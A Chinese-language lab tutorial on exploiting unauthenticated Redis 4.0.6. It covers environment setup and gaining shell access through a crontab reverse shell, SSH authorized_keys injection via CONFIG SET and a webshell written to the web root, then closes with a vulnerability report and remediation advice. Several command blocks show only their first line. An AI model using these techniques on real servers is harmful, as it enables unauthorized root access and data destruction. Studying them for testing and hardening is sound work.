0x00 前言
在渗透测试的过程中,经常会碰到各种未授权访问漏洞,今天总结一下redis的未授权访问漏洞,从靶机的环境搭建到漏洞复现再到getshell,如有错误的地方,还请各位大佬指出,共同进步。
0x01 环境准备
1.1 需要环境
靶机
操作系统:centos7
redis版本:4.0.6
攻击机
操作系统:kali Linux 2019.4 x64
redis版本:4.0.6
1.2 靶机环境准备
1.2.1 安装redis
1.下载redis安装包
1 | wget http://download.redis.io/releases/redis-4.0.6.tar.gz |
2.解压压缩包
1 | tar -zxvf redis-4.0.6.tar.gz |
3.yum安装gcc依赖
1 | yum install gcc |
注:遇到选择,输入y即可
4.跳转到redis解压目录下
1 | cd redis-4.0.6 |
5.编译安装
1 | make MALLOC=libc |
将/usr/local/redis-4.0.6/src目录下的文件加到/usr/local/bin目录
1 | cd src && make install |
1.2.2 修改相关配置
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cp redis-server /usr/bin
cp redis-cli /usr/bin
返回目录redis目录,将redis.conf拷贝到/etc/目录下:
cp redis.conf /etc
编辑etc中的redis配置文件redis.conf
vim /etc/redis.conf
1.2.3 redis相关使用命令
连接redis:
1 | redis-cli -h 192.168.63.130 |
查看redis版本信息、一些具体信息、服务器版本信息等等:
1 | 192.168.63.130:6379>info |
将变量x的值设为test:
是把整个redis数据库删除,一般情况下不要用!!!
1 | 192.168.63.130:6379>flushall |
查看所有键:
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
1 | 192.168.63.130:6379>CONFIG GET dir |
查看redis服务
1 | ps -aux | grep redis |
关闭redis服务
1 | kill 8234 |
1.3 攻击机环境准备
1.3.1 安装redis
下载
1 | wget http:*//download.redis.io/releases/redis-4.0.11.tar.gz* |
解压
1 | tar -zxvf redis-4.0.11.tar.gz |
切换到src目录
1 | cd /redis-4.0.11/src |
0x02 复现漏洞
1 | redis-cli -h 192.168.110.8 -p 端口号 |
出现下面信息,说明存在未授权访问漏洞
0x03 反弹shell
3.1 利用计划任务执行命令反弹shell
3.1.1 利用原理
在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入定时计划,反弹shell。
3.1.2 开始攻击
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
1 | nc -lvnp 6666 |
然后在kali中执行下面命令
1 | root@kali:~# redis-cli -h 192.168.110.8 |
kali攻击机上成功反弹shell
注意:定时计划中的ip地址是攻击记的ip地址,不是靶机的ip地址。
3.2 写ssh-keygen公钥然后使用私钥登陆
3.3.1 什么是秘钥认证?
所谓的秘钥认证,就是基于公钥密码的认证,使用公钥加密,私钥解密,其中公钥是公开的,放在服务器端
可以把同一个公钥放在你想SSH登陆的服务器中,而私钥自己知道
大致过程:
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端
2.客户端发起登陆请求,发送自己的相关信息
3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端
4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证
5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆
3.2.2 利用条件
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
- 靶机的root目录下需要有.ssh目录
3.2.3 利用原理
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
3.3.2 开始攻击
首先需要kali攻击机在本地生成一对秘钥
1 | ssh-keygen -t rsa |
然后三次回车,生成秘钥,如下图
查看是否成功生成
查看公钥
1 | cat id_rsa.pub |
将公网的内容复制到记事本中待用
然后redis执行命令:
1 | config set dir /root/.ssh/ |
注:需要将上面的公钥替替换攻击机的秘钥。
save后可以直接利用攻击机kali的私钥登录ssh
1 | ssh -i id_rsa root@192.168.110.8 |
3.3 往web物理路径写webshell
利用条件:redis权限不高,服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径(根据实际情况)写webshell
1 | config set dir /var/www/html/ |
0x04 报告书写
4.1 漏洞描述
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;
如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
攻击者访问之后,利用Redis自身提供的config命令,可以进行写文件操作
可以成功把自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器
简单来说,漏洞产生的条件有以下两点:
- redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上
- 没有设置密码认证,可以免密登陆Redis服务
4.2 风险分析
- 导致敏感信息泄露,恶意执行flushall清空所有数据
- 通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件
- 如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器
4.3 测试过程
参考复现漏洞过程
4.4 漏洞类型
主机漏洞
4.5 漏洞级别
高
4.6 修复建议
防止这个漏洞需要修复以下三处问题
第一: 修改redis绑定的IP 如果只在本机使用redis服务那么只要绑定127.0.0.1 如果其他主机需要访问redis服务那么只绑定客户主机所在网络的接口 最好不要绑定0.0.0.0 另外需要通过主机内置的防火墙如iptables,或者其他外置防火墙禁止非业务主机访问redis服务
第二: 设置访问密码 在 redis.conf 中找到“requirepass”字段,取消注释并在后面填上你需要的密码。 注:修改redis的配置需要重启redis才能生效。
第三: 使用普通用户启动redis,并且禁止该用户启动shell,禁止使用root用户启动redis。
0x05 踩坑指南
使用命令连接出现下面错误
Could not connect to Redis at 192.168.25.153:6379: No route to host
问题原因:
centos7主机默认开启了防火墙
解决方法:
iptables -F –删除所有防火墙规则
简单粗暴,真实环境中不可这样
真实环境可参考
1 | iptables -N REDIS |
0x06 参考链接
https://www.cnblogs.com/zuidongfeng/p/8032505.html
https://blog.csdn.net/Fly_hps/article/details/80937837
https://www.freebuf.com/column/158065.html